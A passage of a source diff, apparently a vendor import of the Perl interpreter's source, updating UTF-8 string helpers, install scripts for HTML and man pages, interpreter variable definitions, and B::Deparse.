+        if (el)
+            *el = outlen;
+
+        if (ep) {
+            *ep = x;
+        }
+
+        return (x == send);
     }
-
-    return (x == send);
 }
 
 /*
@@ -818,49 +1176,68 @@
 */
 
 PERL_STATIC_INLINE bool
-S_is_utf8_string_loclen_flags(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el, const U32 flags)
+S_is_utf8_string_loclen_flags(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el, const U32 flags)
 {
-    const U8* const send = s + (len ? len : strlen((const char *)s));
-    const U8* x = s;
-    STRLEN outlen = 0;
+    const U8 * first_variant;
 
     PERL_ARGS_ASSERT_IS_UTF8_STRING_LOCLEN_FLAGS;
     assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE
-                          |UTF8_DISALLOW_ABOVE_31_BIT)));
+                          |UTF8_DISALLOW_PERL_EXTENDED)));
 
+    if (len == 0) {
+        len = strlen((const char *) s);
+    }
+
     if (flags == 0) {
         return is_utf8_string_loclen(s, len, ep, el);
     }
 
-    if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT)
+    if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED)
                                         == UTF8_DISALLOW_ILLEGAL_INTERCHANGE)
     {
         return is_strict_utf8_string_loclen(s, len, ep, el);
     }
 
-    if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT)
+    if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED)
                                     == UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE)
     {
         return is_c9strict_utf8_string_loclen(s, len, ep, el);
     }
 
-    while (x < send) {
-        const STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags);
-        if (UNLIKELY(! cur_len)) {
-            break;
+    if (is_utf8_invariant_string_loc(s, len, &first_variant)) {
+        if (el)
+            *el = len;
+
+        if (ep) {
+            *ep = s + len;
         }
-        x += cur_len;
-        outlen++;
+
+        return TRUE;
     }
 
-    if (el)
-        *el = outlen;
+    {
+        const U8* send = s + len;
+        const U8* x = first_variant;
+        STRLEN outlen = first_variant - s;
 
-    if (ep) {
-        *ep = x;
+        while (x < send) {
+            const STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags);
+            if (UNLIKELY(! cur_len)) {
+                break;
+            }
+            x += cur_len;
+            outlen++;
+        }
+
+        if (el)
+            *el = outlen;
+
+        if (ep) {
+            *ep = x;
+        }
+
+        return (x == send);
     }
-
-    return (x == send);
 }
 
 /*
@@ -916,9 +1293,9 @@
 		s--;
 	}
     }
-    GCC_DIAG_IGNORE(-Wcast-qual);
+    GCC_DIAG_IGNORE(-Wcast-qual)
     return (U8 *)s;
-    GCC_DIAG_RESTORE;
+    GCC_DIAG_RESTORE
 }
 
 /*
@@ -953,16 +1330,16 @@
     while (off--) {
         STRLEN skip = UTF8SKIP(s);
         if ((STRLEN)(end - s) <= skip) {
-            GCC_DIAG_IGNORE(-Wcast-qual);
+            GCC_DIAG_IGNORE(-Wcast-qual)
             return (U8 *)end;
-            GCC_DIAG_RESTORE;
+            GCC_DIAG_RESTORE
         }
         s += skip;
     }
 
-    GCC_DIAG_IGNORE(-Wcast-qual);
+    GCC_DIAG_IGNORE(-Wcast-qual)
     return (U8 *)s;
-    GCC_DIAG_RESTORE;
+    GCC_DIAG_RESTORE
 }
 
 /*
@@ -1000,9 +1377,9 @@
             s--;
     }
     
-    GCC_DIAG_IGNORE(-Wcast-qual);
+    GCC_DIAG_IGNORE(-Wcast-qual)
     return (U8 *)s;
-    GCC_DIAG_RESTORE;
+    GCC_DIAG_RESTORE
 }
 
 /*
@@ -1094,7 +1471,7 @@
     PERL_ARGS_ASSERT_IS_UTF8_VALID_PARTIAL_CHAR_FLAGS;
 
     assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE
-                          |UTF8_DISALLOW_ABOVE_31_BIT)));
+                          |UTF8_DISALLOW_PERL_EXTENDED)));
 
     if (s >= e || s + UTF8SKIP(s) <= e) {
         return FALSE;
@@ -1158,7 +1535,7 @@
 
 PERL_STATIC_INLINE bool
 S_is_utf8_fixed_width_buf_loclen_flags(const U8 * const s,
-                                       const STRLEN len,
+                                       STRLEN len,
                                        const U8 **ep,
                                        STRLEN *el,
                                        const U32 flags)
@@ -1731,6 +2108,29 @@
     return 1;
 }
 
+#if ! defined (HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT))
+
+PERL_STATIC_INLINE void *
+S_my_memrchr(const char * s, const char c, const STRLEN len)
+{
+    /* memrchr(), since many platforms lack it */
+
+    const char * t = s + len - 1;
+
+    PERL_ARGS_ASSERT_MY_MEMRCHR;
+
+    while (t >= s) {
+        if (*t == c) {
+            return (void *) t;
+        }
+        t--;
+    }
+
+    return NULL;
+}
+
+#endif
+
 /*
  * ex: set ts=8 sts=4 sw=4 et:
  */

Modified: vendor/perl/dist/installhtml
===================================================================
--- vendor/perl/dist/installhtml	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/installhtml	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,10 +4,11 @@
 
 use strict;
 use Config;		# for config options in the makefile
+use File::Path qw(remove_tree);
 use File::Spec::Functions qw(rel2abs no_upwards);
 use Getopt::Long;	# for command-line parsing
 use Cwd;
-use Pod::Html 'anchorify';
+use Pod::Html 1.23 qw(anchorify relativize_url);
 
 =head1 NAME
 
@@ -164,7 +165,7 @@
 # See vms/descrip_mms.template -> descrip.mms for invocation.
 if ( $^O eq 'VMS' ) { @ARGV = split(/\s+/,$ARGV[0]); }
 
-use vars qw( %Options );
+our %Options;
 
 # parse the command-line
 my $result = GetOptions( \%Options, qw(
@@ -240,10 +241,10 @@
     $/ = "";
     my @data = ();
     while (<H>) {
-	last if /name="name"/i;
+	last if m!<h1 id="NAME">NAME</h1>!;
 	$_ =~ s{href="#(.*)">}{
-	    my $url = "$pod/$1.html" ;
-	    $url = Pod::Html::relativize_url( $url, "$file.html" )
+	    my $url = "$file/@{[anchorify(qq($1))]}.html" ;
+	    $url = relativize_url( $url, "$file.html" )
 	    if ( ! defined $Options{htmlroot} || $Options{htmlroot} eq '' );
 	    "href=\"$url\">" ;
 	}egi;
@@ -254,10 +255,12 @@
     # now rewrite the file
     open(H, '>', "$file.html") ||
 	die "$0: error opening $file.html for output: $!\n";
-    print H "@data", "\n";
+    print H @data, "</body>\n\n</html>\n\n\n";
     close(H);
 }
 
+remove_tree(@splitdirs, {safe=>1});
+
 ##############################################################################
 
 
@@ -321,9 +324,9 @@
 		m#<h1 id="NAME">NAME</h1>\s*<p>\s*(\S+)\s+-\s+(\S.*?\S)</p>#);
 	defined $lcp1 or die "$0: can't find NAME section in $dir/$file\n";
 
-	my $url= "$pod/$file" ;
+	my $url= "$dir/$file" ;
 	if ( ! defined $Options{htmlroot} || $Options{htmlroot} eq '' ) {
-	    $url = Pod::Html::relativize_url( "$pod/$file", $html ) ;
+	    $url = relativize_url( $url, $html ) ;
 	}
 
 	print HTML qq(<DT><A HREF="$url">);
@@ -378,10 +381,9 @@
 
 	# split the pod
 	push(@$splitdirs, "$podroot/$dirname");
-	if (! -d "$podroot/$dirname") {
-	    mkdir("$podroot/$dirname", 0755) ||
+	-d "$podroot/$dirname" and remove_tree("$podroot/$dirname", {safe=>1});
+	mkdir("$podroot/$dirname", 0755) ||
 		    die "$0: error creating directory $podroot/$dirname: $!\n";
-	}
 	chdir("$podroot/$dirname") ||
 	    die "$0: error changing to directory $podroot/$dirname: $!\n";
 	die "$splitter not found. Use '-splitpod dir' option.\n"
@@ -437,9 +439,9 @@
     my $dir = $pod;
     $dir =~ s/\.pod//g;
     push(@$splitdirs, "$poddir/$dir");
+    -d "$poddir/$dir" and remove_tree("$poddir/$dir", {safe=>1});
     mkdir("$poddir/$dir", 0755) ||
-	die "$0: could not create directory $poddir/$dir: $!\n"
-	unless -d "$poddir/$dir";
+	die "$0: could not create directory $poddir/$dir: $!\n";
 
     $poddata[0] =~ /^\s*=head[1-6]\s+(.*)/;
     $section    = "";

Modified: vendor/perl/dist/installman
===================================================================
--- vendor/perl/dist/installman	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/installman	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
 use Getopt::Long;
 use ExtUtils::Packlist;
 use Pod::Man;
-use vars qw(%opts $packlist);
+our ( %opts, $packlist );
 
 require './Porting/pod_lib.pl';
 my %man1 = (map {($_->[0], $_->[1])} @{get_pod_metadata()->{master}});
@@ -54,6 +54,12 @@
 }
 $opts{verbose} ||= $opts{notify};
 
+# Explicitly disabled installation of man pages
+if ($opts{man1dir} eq '' && $opts{man3dir} eq '') {
+    warn "Manual page installation was disabled by Configure\n";
+    exit 0;
+}
+
 #Sanity checks
 
 -x  "./perl$Config{exe_ext}"
@@ -70,7 +76,7 @@
 pod2man(\%man1, $opts{man1dir}, $opts{man1ext}, 'pod');
 
 # Install the pods for library modules.
-{
+if ($opts{man3dir} ne '') {
     my $found = pods_to_install();
     pod2man($found->{$_}, $opts{man3dir}, $opts{man3ext}, 'lib')
         foreach qw(MODULE PRAGMA);
@@ -77,28 +83,30 @@
 }
 
 # Install the pods embedded in the installed scripts
-my $has_man1dir = $opts{man1dir} ne '' && -d $opts{man1dir};
-my $fh = open_or_die('utils.lst');
-while (<$fh>) {
-    next if /^#/;
-    chomp;
-    my ($path, $leaf) = m|^(\S*/(\S+))|;
-    # Have we already installed the manpage for this? (eg perldoc)
-    next if $man1{$leaf};
-    pod2man({$leaf, $path}, $opts{man1dir}, $opts{man1ext});
-    if ($has_man1dir) {
-        if (my ($link) = m|#.*link\s*=\s*\S+/(\S+)|) {
-            my $old = "$opts{man1dir}/$leaf.$opts{man1ext}";
-            my $new = "$opts{man1dir}/$link.$opts{man1ext}";
-	    unlink($new);
-	    link($old, $new);
-            $old =~ s/^\Q$opts{destdir}\E// if $opts{destdir};
-            $new =~ s/^\Q$opts{destdir}\E// if $opts{destdir};
-            $packlist->{$new} = { from => $old, type => 'link' };
+if ($opts{man1dir} ne '') {
+    my $has_man1dir = -d $opts{man1dir};
+    my $fh = open_or_die('utils.lst');
+    while (<$fh>) {
+	next if /^#/;
+	chomp;
+	my ($path, $leaf) = m|^(\S*/(\S+))|;
+	# Have we already installed the manpage for this? (eg perldoc)
+	next if $man1{$leaf};
+	pod2man({$leaf, $path}, $opts{man1dir}, $opts{man1ext});
+	if ($has_man1dir) {
+	    if (my ($link) = m|#.*link\s*=\s*\S+/(\S+)|) {
+		my $old = "$opts{man1dir}/$leaf.$opts{man1ext}";
+		my $new = "$opts{man1dir}/$link.$opts{man1ext}";
+		unlink($new);
+		link($old, $new);
+		$old =~ s/^\Q$opts{destdir}\E// if $opts{destdir};
+		$new =~ s/^\Q$opts{destdir}\E// if $opts{destdir};
+		$packlist->{$new} = { from => $old, type => 'link' };
+	    }
 	}
     }
+    close $fh or my_die("close 'utils.lst': $!");
 }
-close $fh or my_die("close 'utils.lst': $!");
 
 sub pod2man {
     my($modpods, $mandir, $manext, $where) = @_;

Modified: vendor/perl/dist/installperl
===================================================================
--- vendor/perl/dist/installperl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/installperl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,8 +11,8 @@
 }
 
 use strict;
-use vars qw($Is_VMS $Is_W32 $Is_OS2 $Is_Cygwin $Is_Darwin $Is_NetWare $Is_AmigaOS
-	    %opts $packlist);
+our ($Is_VMS, $Is_W32, $Is_OS2, $Is_Cygwin, $Is_Darwin, $Is_NetWare, $Is_AmigaOS,
+	    %opts, $packlist);
 my $versiononly;
 
 BEGIN {

Modified: vendor/perl/dist/intrpvar.h
===================================================================
--- vendor/perl/dist/intrpvar.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/intrpvar.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -158,12 +158,26 @@
 This is the C<true> SV.  See C<L</PL_sv_no>>.  Always refer to this as
 C<&PL_sv_yes>.
 
+=for apidoc Amn|SV|PL_sv_zero
+This readonly SV has a zero numeric value and a C<"0"> string value. It's
+similar to C<L</PL_sv_no>> except for its string value. Can be used as a
+cheap alternative to C<mXPUSHi(0)> for example.  Always refer to this as
+C<&PL_sv_zero>. Introduced in 5.28.
+
 =cut
 */
 
+#ifdef MULTIPLICITY
+PERLVAR(I, sv_yes,	SV)
 PERLVAR(I, sv_undef,	SV)
 PERLVAR(I, sv_no,	SV)
-PERLVAR(I, sv_yes,	SV)
+PERLVAR(I, sv_zero,	SV)
+#else
+/* store the immortals as an array to ensure they are contiguous in
+ * memory: makes SvIMMORTAL_INTERP(sv) possible */
+PERLVARA(I, sv_immortals, 4, SV)
+#endif
+
 PERLVAR(I, padname_undef,	PADNAME)
 PERLVAR(I, padname_const,	PADNAME)
 PERLVAR(I, Sv,		SV *)		/* used to hold temporary values */
@@ -188,7 +202,6 @@
 					   Not Applicable */
 
 /* stat stuff */
-PERLVAR(I, statbuf,	Stat_t)
 PERLVAR(I, statcache,	Stat_t)		/* _ */
 PERLVAR(I, statgv,	GV *)
 PERLVARI(I, statname,	SV *,	NULL)
@@ -249,6 +262,11 @@
 PERLVAR(I, utf8locale,	bool)		/* utf8 locale detected */
 PERLVAR(I, in_utf8_CTYPE_locale, bool)
 PERLVAR(I, in_utf8_COLLATE_locale, bool)
+#if defined(USE_ITHREADS) && ! defined(USE_THREAD_SAFE_LOCALE)
+PERLVARI(I, lc_numeric_mutex_depth, int, 0)   /* Emulate general semaphore */
+#endif
+PERLVARA(I, locale_utf8ness, 256, char)
+
 #ifdef USE_LOCALE_CTYPE
     PERLVAR(I, warn_locale, SV *)
 #endif
@@ -443,8 +461,6 @@
 PERLVAR(I, filemode,	int)		/* so nextargv() can preserve mode */
 PERLVAR(I, lastfd,	int)		/* what to preserve mode on */
 PERLVAR(I, oldname,	char *)		/* what to preserve mode on */
-PERLVAR(I, Argv,	const char **)	/* stuff to free from do_aexec, vfork safe */
-PERLVAR(I, Cmd,		char *)		/* stuff to free from do_aexec, vfork safe */
 /* Elements in this array have ';' appended and are injected as a single line
    into the tokeniser. You can't put any (literal) newlines into any program
    you stuff in into this array, as the point where it's injected is expecting
@@ -544,7 +560,7 @@
 
 PERLVARA(I, body_roots,	PERL_ARENA_ROOTS_SIZE, void*) /* array of body roots */
 
-PERLVAR(I, debug,	VOL U32)	/* flags given to -D switch */
+PERLVAR(I, debug,	volatile U32)	/* flags given to -D switch */
 
 PERLVARI(I, padlist_generation, U32, 1)	/* id to identify padlist clones */
 
@@ -562,7 +578,15 @@
 
 PERLVAR(I, padix_floor,	PADOFFSET)	/* how low may inner block reset padix */
 
+#if defined(USE_POSIX_2008_LOCALE)          \
+ && defined(USE_THREAD_SAFE_LOCALE)         \
+ && ! defined(HAS_QUERYLOCALE)
+
+PERLVARA(I, curlocales, 12, char *)
+
+#endif
 #ifdef USE_LOCALE_COLLATE
+
 PERLVAR(I, collation_name, char *)	/* Name of current collation */
 PERLVAR(I, collxfrm_base, Size_t)	/* Basic overhead in *xfrm() */
 PERLVARI(I, collxfrm_mult,Size_t, 2)	/* Expansion factor in *xfrm() */
@@ -575,6 +599,11 @@
 					/* Assume simple collation */
 #endif /* USE_LOCALE_COLLATE */
 
+PERLVARI(I, langinfo_buf, char *, NULL)
+PERLVARI(I, langinfo_bufsize, Size_t, 0)
+PERLVARI(I, setlocale_buf, char *, NULL)
+PERLVARI(I, setlocale_bufsize, Size_t, 0)
+
 #ifdef PERL_SAWAMPERSAND
 PERLVAR(I, sawampersand, U8)		/* must save all match strings */
 #endif
@@ -597,40 +626,25 @@
 #ifdef USE_LOCALE_NUMERIC
 
 PERLVARI(I, numeric_standard, int, TRUE)
-					/* Assume simple numerics */
-PERLVARI(I, numeric_local, bool, TRUE)
-					/* Assume local numerics */
+					/* Assume C locale numerics */
+PERLVARI(I, numeric_underlying, bool, TRUE)
+					/* Assume underlying locale numerics */
+PERLVARI(I, numeric_underlying_is_standard, bool, TRUE)
 PERLVAR(I, numeric_name, char *)	/* Name of current numeric locale */
 PERLVAR(I, numeric_radix_sv, SV *)	/* The radix separator if not '.' */
 
+#  ifdef HAS_POSIX_2008_LOCALE
+
+PERLVARI(I, underlying_numeric_obj, locale_t, NULL)
+
+#  endif
 #endif /* !USE_LOCALE_NUMERIC */
 
 /* Unicode inversion lists */
-PERLVAR(I, Latin1,	SV *)
-PERLVAR(I, UpperLatin1,	SV *)   /* Code points 128 - 255 */
-PERLVAR(I, AboveLatin1,	SV *)
 PERLVAR(I, InBitmap,	SV *)
 
-PERLVAR(I, NonL1NonFinalFold,   SV *)
-PERLVAR(I, HasMultiCharFold,   SV *)
-
 /* utf8 character class swashes */
 PERLVAR(I, utf8_mark,	SV *)
-PERLVAR(I, utf8_toupper, SV *)
-PERLVAR(I, utf8_totitle, SV *)
-PERLVAR(I, utf8_tolower, SV *)
-PERLVAR(I, utf8_tofold,	SV *)
-PERLVAR(I, utf8_charname_begin, SV *)
-PERLVAR(I, utf8_charname_continue, SV *)
-
-PERLVARA(I, utf8_swash_ptrs, POSIX_SWASH_COUNT, SV *)
-PERLVARA(I, Posix_ptrs, POSIX_CC_COUNT, SV *)
-PERLVARA(I, XPosix_ptrs, POSIX_CC_COUNT, SV *)
-PERLVAR(I, GCB_invlist, SV *)
-PERLVAR(I, LB_invlist, SV *)
-PERLVAR(I, SB_invlist, SV *)
-PERLVAR(I, WB_invlist, SV *)
-PERLVAR(I, Assigned_invlist, SV *)
 PERLVAR(I, seen_deprecated_macro, HV *)
 
 PERLVAR(I, last_swash_hv, HV *)
@@ -700,13 +714,6 @@
 PERLVARI(I, def_layerlist, PerlIO_list_t *, NULL)
 #endif
 
-PERLVAR(I, utf8_idstart, SV *)
-PERLVAR(I, utf8_idcont,	SV *)
-PERLVAR(I, utf8_xidstart, SV *)
-PERLVAR(I, utf8_perl_idstart, SV *)
-PERLVAR(I, utf8_perl_idcont, SV *)
-PERLVAR(I, utf8_xidcont, SV *)
-
 PERLVAR(I, sort_RealCmp, SVCOMPARE_t)
 
 PERLVARI(I, checkav_save, AV *, NULL)	/* save CHECK{}s when compiling */
@@ -746,14 +753,6 @@
 /* Compile-time block start/end hooks */
 PERLVAR(I, blockhooks,	AV *)
 
-/* Everything that folds to a given character, for case insensitivity regex
- * matching */
-PERLVARI(I, utf8_foldclosures, HV *, NULL)
-
-/* List of characters that participate in folds (except marks, etc in
- * multi-char folds) */
-PERLVARI(I, utf8_foldable, SV *, NULL)
-
 PERLVAR(I, custom_ops,	HV *)		/* custom op registrations */
 
 PERLVAR(I, Xpv,		XPV *)		/* (unused) held temporary value */
@@ -812,8 +811,16 @@
 
 PERLVAR(I, random_state, PL_RANDOM_STATE_TYPE)
 
-PERLVARI(I, dump_re_max_len, STRLEN, 0)
+PERLVARI(I, dump_re_max_len, STRLEN, 60)
 
+/* For internal uses of randomness, this ensures the sequence of
+ * random numbers returned by rand() isn't modified by perl's internal
+ * use of randomness.
+ * This is important if the user has called srand() with a seed.
+ */
+
+PERLVAR(I, internal_random_state, PL_RANDOM_STATE_TYPE)
+
 /* If you are adding a U8 or U16, check to see if there are 'Space' comments
  * above on where there are gaps which currently will be structure padding.  */
 

Modified: vendor/perl/dist/invlist_inline.h
===================================================================
--- vendor/perl/dist/invlist_inline.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/invlist_inline.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
  *    License or the Artistic License, as specified in the README file.
  */
 
-#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C)
 
 /* An element is in an inversion list iff its index is even numbered: 0, 2, 4,
  * etc */

Modified: vendor/perl/dist/iperlsys.h
===================================================================
--- vendor/perl/dist/iperlsys.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/iperlsys.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -760,7 +760,6 @@
 #  define PerlLIO_lstat(name, buf)	PerlLIO_stat((name), (buf))
 #endif
 #define PerlLIO_mktemp(file)		mktemp((file))
-#define PerlLIO_mkstemp(file)		mkstemp((file))
 #define PerlLIO_open(file, flag)	open((file), (flag))
 #define PerlLIO_open3(file, flag, perm)	open((file), (flag), (perm))
 #define PerlLIO_read(fd, buf, count)	read((fd), (buf), (count))

Modified: vendor/perl/dist/lib/B/Deparse-core.t
===================================================================
--- vendor/perl/dist/lib/B/Deparse-core.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/B/Deparse-core.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -80,6 +80,7 @@
 	$desc .= " (lex sub)" if $lexsub;
 
 
+        my $code;
 	my $code_ref;
 	if ($lexsub) {
 	    package lexsubtest;
@@ -86,15 +87,16 @@
 	    no warnings 'experimental::lexical_subs';
 	    use feature 'lexical_subs';
 	    no strict 'vars';
-	    $code_ref =
-		eval "sub { state sub $keyword; ${vars}() = $expr }"
-			    || die "$@ in $expr";
+            $code = "sub { state sub $keyword; ${vars}() = $expr }";
+	    $code_ref = eval $code
+			    or die "$@ in $expr";
 	}
 	else {
 	    package test;
 	    use subs ();
 	    import subs $keyword;
-	    $code_ref = eval "no strict 'vars'; sub { ${vars}() = $expr }"
+	    $code = "no strict 'vars'; sub { ${vars}() = $expr }";
+	    $code_ref = eval $code
 			    or die "$@ in $expr";
 	}
 
@@ -115,7 +117,8 @@
 	}
 
 	my $got_expr = $1;
-	is $got_expr, $expected_expr, $desc;
+	is $got_expr, $expected_expr, $desc
+            or ::diag("ORIGINAL CODE:\n$code");;
     }
 }
 
@@ -639,7 +642,7 @@
 sqrt             01    $
 srand            01    -
 stat             01    $
-state            123   p+ # skip with 0 args, as state() => ()
+state            123   p1+ # skip with 0 args, as state() => ()
 study            01    $+
 # sub handled specially
 substr           234   p

Modified: vendor/perl/dist/lib/B/Deparse.pm
===================================================================
--- vendor/perl/dist/lib/B/Deparse.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/B/Deparse.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,11 +12,16 @@
 use B qw(class main_root main_start main_cv svref_2object opnumber perlstring
 	 OPf_WANT OPf_WANT_VOID OPf_WANT_SCALAR OPf_WANT_LIST
 	 OPf_KIDS OPf_REF OPf_STACKED OPf_SPECIAL OPf_MOD OPf_PARENS
-	 OPpLVAL_INTRO OPpOUR_INTRO OPpENTERSUB_AMPER OPpSLICE OPpCONST_BARE
+	 OPpLVAL_INTRO OPpOUR_INTRO OPpENTERSUB_AMPER OPpSLICE OPpKVSLICE
+         OPpCONST_BARE
 	 OPpTRANS_SQUASH OPpTRANS_DELETE OPpTRANS_COMPLEMENT OPpTARGET_MY
 	 OPpEXISTS_SUB OPpSORT_NUMERIC OPpSORT_INTEGER OPpREPEAT_DOLIST
 	 OPpSORT_REVERSE OPpMULTIDEREF_EXISTS OPpMULTIDEREF_DELETE
          OPpSPLIT_ASSIGN OPpSPLIT_LEX
+         OPpPADHV_ISKEYS OPpRV2HV_ISKEYS
+         OPpCONCAT_NESTED
+         OPpMULTICONCAT_APPEND OPpMULTICONCAT_STRINGIFY OPpMULTICONCAT_FAKE
+         OPpTRUEBOOL OPpINDEX_BOOLNEG
 	 SVf_IOK SVf_NOK SVf_ROK SVf_POK SVpad_OUR SVf_FAKE SVs_RMG SVs_SMG
 	 SVs_PADTMP SVpad_TYPED
          CVf_METHOD CVf_LVALUE
@@ -47,12 +52,14 @@
         MDEREF_SHIFT
     );
 
-$VERSION = '1.40';
+$VERSION = '1.48';
 use strict;
-use vars qw/$AUTOLOAD/;
+our $AUTOLOAD;
 use warnings ();
 require feature;
 
+use Config;
+
 BEGIN {
     # List version-specific constants here.
     # Easiest way to keep this code portable between version looks to
@@ -70,104 +77,6 @@
     }
 }
 
-# Changes between 0.50 and 0.51:
-# - fixed nulled leave with live enter in sort { }
-# - fixed reference constants (\"str")
-# - handle empty programs gracefully
-# - handle infinite loops (for (;;) {}, while (1) {})
-# - differentiate between 'for my $x ...' and 'my $x; for $x ...'
-# - various minor cleanups
-# - moved globals into an object
-# - added '-u', like B::C
-# - package declarations using cop_stash
-# - subs, formats and code sorted by cop_seq
-# Changes between 0.51 and 0.52:
-# - added pp_threadsv (special variables under USE_5005THREADS)
-# - added documentation
-# Changes between 0.52 and 0.53:
-# - many changes adding precedence contexts and associativity
-# - added '-p' and '-s' output style options
-# - various other minor fixes
-# Changes between 0.53 and 0.54:
-# - added support for new 'for (1..100)' optimization,
-#   thanks to Gisle Aas
-# Changes between 0.54 and 0.55:
-# - added support for new qr// construct
-# - added support for new pp_regcreset OP
-# Changes between 0.55 and 0.56:
-# - tested on base/*.t, cmd/*.t, comp/*.t, io/*.t
-# - fixed $# on non-lexicals broken in last big rewrite
-# - added temporary fix for change in opcode of OP_STRINGIFY
-# - fixed problem in 0.54's for() patch in 'for (@ary)'
-# - fixed precedence in conditional of ?:
-# - tweaked list paren elimination in 'my($x) = @_'
-# - made continue-block detection trickier wrt. null ops
-# - fixed various prototype problems in pp_entersub
-# - added support for sub prototypes that never get GVs
-# - added unquoting for special filehandle first arg in truncate
-# - print doubled rv2gv (a bug) as '*{*GV}' instead of illegal '**GV'
-# - added semicolons at the ends of blocks
-# - added -l '#line' declaration option -- fixes cmd/subval.t 27,28
-# Changes between 0.56 and 0.561:
-# - fixed multiply-declared my var in pp_truncate (thanks to Sarathy)
-# - used new B.pm symbolic constants (done by Nick Ing-Simmons)
-# Changes between 0.561 and 0.57:
-# - stylistic changes to symbolic constant stuff
-# - handled scope in s///e replacement code
-# - added unquote option for expanding "" into concats, etc.
-# - split method and proto parts of pp_entersub into separate functions
-# - various minor cleanups
-# Changes after 0.57:
-# - added parens in \&foo (patch by Albert Dvornik)
-# Changes between 0.57 and 0.58:
-# - fixed '0' statements that weren't being printed
-# - added methods for use from other programs
-#   (based on patches from James Duncan and Hugo van der Sanden)
-# - added -si and -sT to control indenting (also based on a patch from Hugo)
-# - added -sv to print something else instead of '???'
-# - preliminary version of utf8 tr/// handling
-# Changes after 0.58:
-# - uses of $op->ppaddr changed to new $op->name (done by Sarathy)
-# - added support for Hugo's new OP_SETSTATE (like nextstate)
-# Changes between 0.58 and 0.59
-# - added support for Chip's OP_METHOD_NAMED
-# - added support for Ilya's OPpTARGET_MY optimization
-# - elided arrows before '()' subscripts when possible
-# Changes between 0.59 and 0.60
-# - support for method attributes was added
-# - some warnings fixed
-# - separate recognition of constant subs
-# - rewrote continue block handling, now recognizing for loops
-# - added more control of expanding control structures
-# Changes between 0.60 and 0.61 (mostly by Robin Houston)
-# - many bug-fixes
-# - support for pragmas and 'use'
-# - support for the little-used $[ variable
-# - support for __DATA__ sections
-# - UTF8 support
-# - BEGIN, CHECK, INIT and END blocks
-# - scoping of subroutine declarations fixed
-# - compile-time output from the input program can be suppressed, so that the
-#   output is just the deparsed code. (a change to O.pm in fact)
-# - our() declarations
-# - *all* the known bugs are now listed in the BUGS section
-# - comprehensive test mechanism (TEST -deparse)
-# Changes between 0.62 and 0.63 (mostly by Rafael Garcia-Suarez)
-# - bug-fixes
-# - new switch -P
-# - support for command-line switches (-l, -0, etc.)
-# Changes between 0.63 and 0.64
-# - support for //, CHECK blocks, and assertions
-# - improved handling of foreach loops and lexicals
-# - option to use Data::Dumper for constants
-# - more bug fixes
-# - discovered lots more bugs not yet fixed
-#
-# ...
-#
-# Changes between 0.72 and 0.73
-# - support new switch constructs
-
 # Todo:
 #  (See also BUGS section at the end of this file)
 #
@@ -362,7 +271,8 @@
 
 
 BEGIN { for (qw[ const stringify rv2sv list glob pushmark null aelem
-		 nextstate dbstate rv2av rv2hv helem custom ]) {
+		 kvaslice kvhslice padsv
+                 nextstate dbstate rv2av rv2hv helem custom ]) {
     eval "sub OP_\U$_ () { " . opnumber($_) . "}"
 }}
 
@@ -402,14 +312,28 @@
 
 	# pessimisations end here
 
-	if (class($op) eq 'PMOP'
-	    && ref($op->pmreplroot)
-	    && ${$op->pmreplroot}
-	    && $op->pmreplroot->isa( 'B::OP' ))
-	{
-	    $self-> _pessimise_walk($op->pmreplroot);
-	}
+	if (class($op) eq 'PMOP') {
+	    if (ref($op->pmreplroot)
+                && ${$op->pmreplroot}
+                && $op->pmreplroot->isa( 'B::OP' ))
+            {
+                $self-> _pessimise_walk($op->pmreplroot);
+            }
 
+            # pessimise any /(?{...})/ code blocks
+            my ($re, $cv);
+            my $code_list = $op->code_list;
+            if ($$code_list) {
+                $self->_pessimise_walk($code_list);
+            }
+            elsif (${$re = $op->pmregexp} && ${$cv = $re->qr_anoncv}) {
+                $code_list = $cv->ROOT      # leavesub
+                               ->first      #   qr
+                               ->code_list; #     list
+                $self->_pessimise_walk($code_list);
+            }
+        }
+
 	if ($op->flags & OPf_KIDS) {
 	    $self-> _pessimise_walk($op->first);
 	}
@@ -424,6 +348,8 @@
 sub _pessimise_walk_exe {
     my ($self, $startop, $visited) = @_;
 
+    no warnings 'recursion';
+
     return unless $$startop;
     return if $visited->{$$startop};
     my ($op, $prevop);
@@ -492,6 +418,10 @@
     } else {
 	$seq = 0;
     }
+    my $stash = $cv->STASH;
+    if (class($stash) eq 'HV') {
+        $self->{packs}{$stash->NAME}++;
+    }
     push @{$self->{'subs_todo'}}, [$seq, $cv, $is_form, $name];
 }
 
@@ -558,7 +488,17 @@
                 #  makes use of a lexical var that's not in scope.
                 #  So strip it out.
                 return $pragmata
